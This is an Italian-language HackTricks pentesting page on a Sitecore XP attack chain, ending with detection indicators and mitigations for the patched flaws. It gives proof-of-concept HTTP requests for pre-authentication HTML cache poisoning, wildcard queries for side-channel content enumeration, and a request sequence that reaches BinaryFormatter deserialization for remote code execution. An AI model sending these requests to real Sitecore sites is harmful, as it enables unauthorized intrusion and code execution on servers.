Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Questa pagina riassume una catena d'attacco pratica contro Sitecore XP 10.4.1 che passa da un pre‑auth XAML handler a HTML cache poisoning e, tramite un flusso UI autenticato, a RCE attraverso BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti Sitecore simili e forniscono primitive concrete per testare, rilevare e harden.
- Prodotto interessato testato: Sitecore XP 10.4.1 rev. 011628
- Corretto in: KB1003667, KB1003734 (giugno/luglio 2025)
Vedi anche:
Cache Poisoning and Cache Deception
Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
Il punto di ingresso è il pre‑auth XAML handler registrato in web.config:
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
Accessibile tramite:
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi attacker‑controlled e invoca in modo riflessivo metodi sui controlli mirati:
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
...
Dispatch(clientId, text);
// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
Osservazione chiave: la pagina XAML include un'istanza di XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), che applica la lista consentita ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.
Metodo magico per il poisoning:
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
Poiché possiamo indirizzare xmlcontrol:GlobalHeader e richiamare per nome i metodi di Sitecore.Web.UI.WebControl, otteniamo una primitiva pre-auth per la scrittura arbitraria di HtmlCache.
Richiesta PoC (CVE-2025-53693)
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Note:
- __SOURCE è il clientID di xmlcontrol:GlobalHeader all'interno di Sitecore.Shell.Xaml.WebControl (comunemente stabile come ctl00_ctl00_ctl05_ctl03 poiché deriva da XAML statico).
- Il formato di __PARAMETERS è Method("arg1","arg2").
Cosa avvelenare: costruzione della chiave della cache
Costruzione tipica della chiave di HtmlCache usata dai controlli Sitecore:
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData) k += ResolveDataKeyPart();
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}
Esempio di targeted poisoning per un sublayout noto:
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Enumerazione degli elementi cacheabili e delle dimensioni “vary by”
Se ItemService è (mis)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.
Sonda rapida:
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
Elenca gli elementi cacheable e i flags:
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
Cerca campi come Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. I nomi dei dispositivi possono essere enumerati tramite:
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
Side‑channel enumeration under restricted identities (CVE-2025-53694)
Anche quando ItemService impersona un account limitato (es., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere pre‑ACL Solr hits. Puoi brute‑force item groups/ids con wildcards e osservare TotalCount convergere per mappare contenuti e dispositivi interni:
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item
Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
Sink:
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
Raggiungibile tramite lo step di pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e effettua la decodifica base64 e la deserializzazione, quindi inietta la stringa risultante nell'HTML:
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
Trigger (autenticato, con privilegi Content Editor). La dialog FixHtml invoca convertToRuntimeHtml. End‑to‑end senza clic sull'interfaccia utente:
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>
// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
Generazione del gadget: usare ysoserial.net / YSoNet con BinaryFormatter per produrre un payload base64 che restituisce una stringa. Il contenuto della stringa viene scritto nell'HTML da ConvertWebControls dopo l'esecuzione degli effetti collaterali della deserializzazione.
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
Catena completa
- Un attaccante Pre‑auth avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
- L'HTML avvelenato serve JavaScript che spinge un utente Content Editor autenticato attraverso il flusso FixHtml.
- La pagina FixHtml innesca convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE con l'identità dell'app pool di Sitecore.
Rilevamento
- Pre‑auth XAML: richieste a
/-/xaml/Sitecore.Shell.Xaml.WebControl
con__ISEVENT=1
,__SOURCE
sospetto e__PARAMETERS=AddToCache(...)
. - ItemService probing: picchi di query wildcard a
/sitecore/api/ssc
,TotalCount
elevato conResults
vuoti. - Tentativi di deserializzazione:
EditHtml.aspx
seguito daFixHtml.aspx?hdl=...
e base64 insolitamente grande nei campi HTML.
Mitigazioni
- Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare gli handler XAML pre‑auth o aggiungere una validazione rigorosa; monitorare e rate‑limitare
/-/xaml/
. - Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o applicare una forte validazione lato server dei flussi di modifica HTML.
- Restringere l'accesso a
/sitecore/api/ssc
al loopback o a ruoli autenticati; evitare pattern di impersonazione che causano side channel basati suTotalCount
. - Applicare MFA/least privilege per gli utenti Content Editor; rivedere la CSP per ridurre l'impatto del JS steering derivante dalla cache poisoning.
References
- watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE
- Sitecore KB1003667 – Security patch
- Sitecore KB1003734 – Security patch
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.